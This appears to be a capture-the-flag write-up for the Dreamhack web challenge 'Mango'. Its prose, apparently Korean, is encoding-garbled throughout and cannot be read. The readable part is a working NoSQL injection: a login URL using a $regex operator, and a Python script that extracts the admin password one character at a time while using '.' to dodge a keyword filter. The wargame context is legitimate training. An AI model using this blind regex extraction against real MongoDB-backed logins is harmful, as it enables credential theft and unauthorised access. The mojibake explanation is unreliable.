Wargame/Dreamhack

[Web] Mango

๋‚จ๋ฐ”์˜ค 2023. 2. 16. 12:26

ํ•„ํ„ฐ๋ง ํ•จ์ˆ˜๋ฅผ ๋ณด๋ฉด {admin, dh, admi} ์ด ๋“ค์–ด๊ฐ€๋ฉด true๋ฅผ ๋ฐ˜ํ™˜ํ•œ๋‹ค.

๋กœ๊ทธ์ธ ํŽ˜์ด์ง€๋ฅผ ๋ณด๋ฉด ํ•„ํ„ฐ์— ๊ฑธ๋ฆฌ๊ฒŒ ๋˜๋ฉด filter๋ฅผ ๋ฐ˜ํ™˜ํ•˜๊ณ  return ํ•ด๋ฒ„๋ฆฐ๋‹ค.

์—ฌ๊ธฐ์„œ๋Š” ์ฟผ๋ฆฌ ๋ณ€์ˆ˜ ํƒ€์ž…์„ ๊ฒ€์ฆํ•˜์ง€ ์•Š๊ธฐ ๋•Œ๋ฌธ์— injection ์ด ๋ฐœ์ƒํ•˜๊ฒŒ ๋œ๋‹ค.

  • Exploit Code
<http://host3.dreamhack.games:16060/login?uid=admin&upw[$regex]=D.*>

์—ฌ๊ธฐ์„œ DH๋ฅผ ์šฐํšŒํ•  ์ˆ˜ ์žˆ๋Š” ๋ฐฉ๋ฒ•์€ . ์„ ์ด์šฉํ•˜๋Š” ๋ฐฉ๋ฒ•์ด ์žˆ๋‹ค.

์ฃผ์–ด์ง„ ์ฝ”๋“œ์— ์žˆ๋Š” ์ฃผ์„์„ ์ฐธ๊ณ ํ•˜์—ฌ alphanumeric ์„ ํ™œ์šฉํ•˜์—ฌ ์ฝ”๋“œ๋ฅผ ์ž‘์„ฑํ•˜๋ฉด

// flag is in db, {'uid': 'admin', 'upw': 'DH{32alphanumeric}'}

 

* Exploit Code

import requests, string

HOST = 'http://host3.dreamhack.games:9990'
ALPHANUMERIC = string.digits + string.ascii_letters

flag = ''
for i in range(32):
    for ch in ALPHANUMERIC:
        response = requests.get(f'{HOST}/login?uid[$regex]=ad.in&upw[$regex]=D.{{{flag}{ch}')
        if response.text == 'admin':
            flag += ch
            break
    print(f'FLAG: DH{{{flag}}}')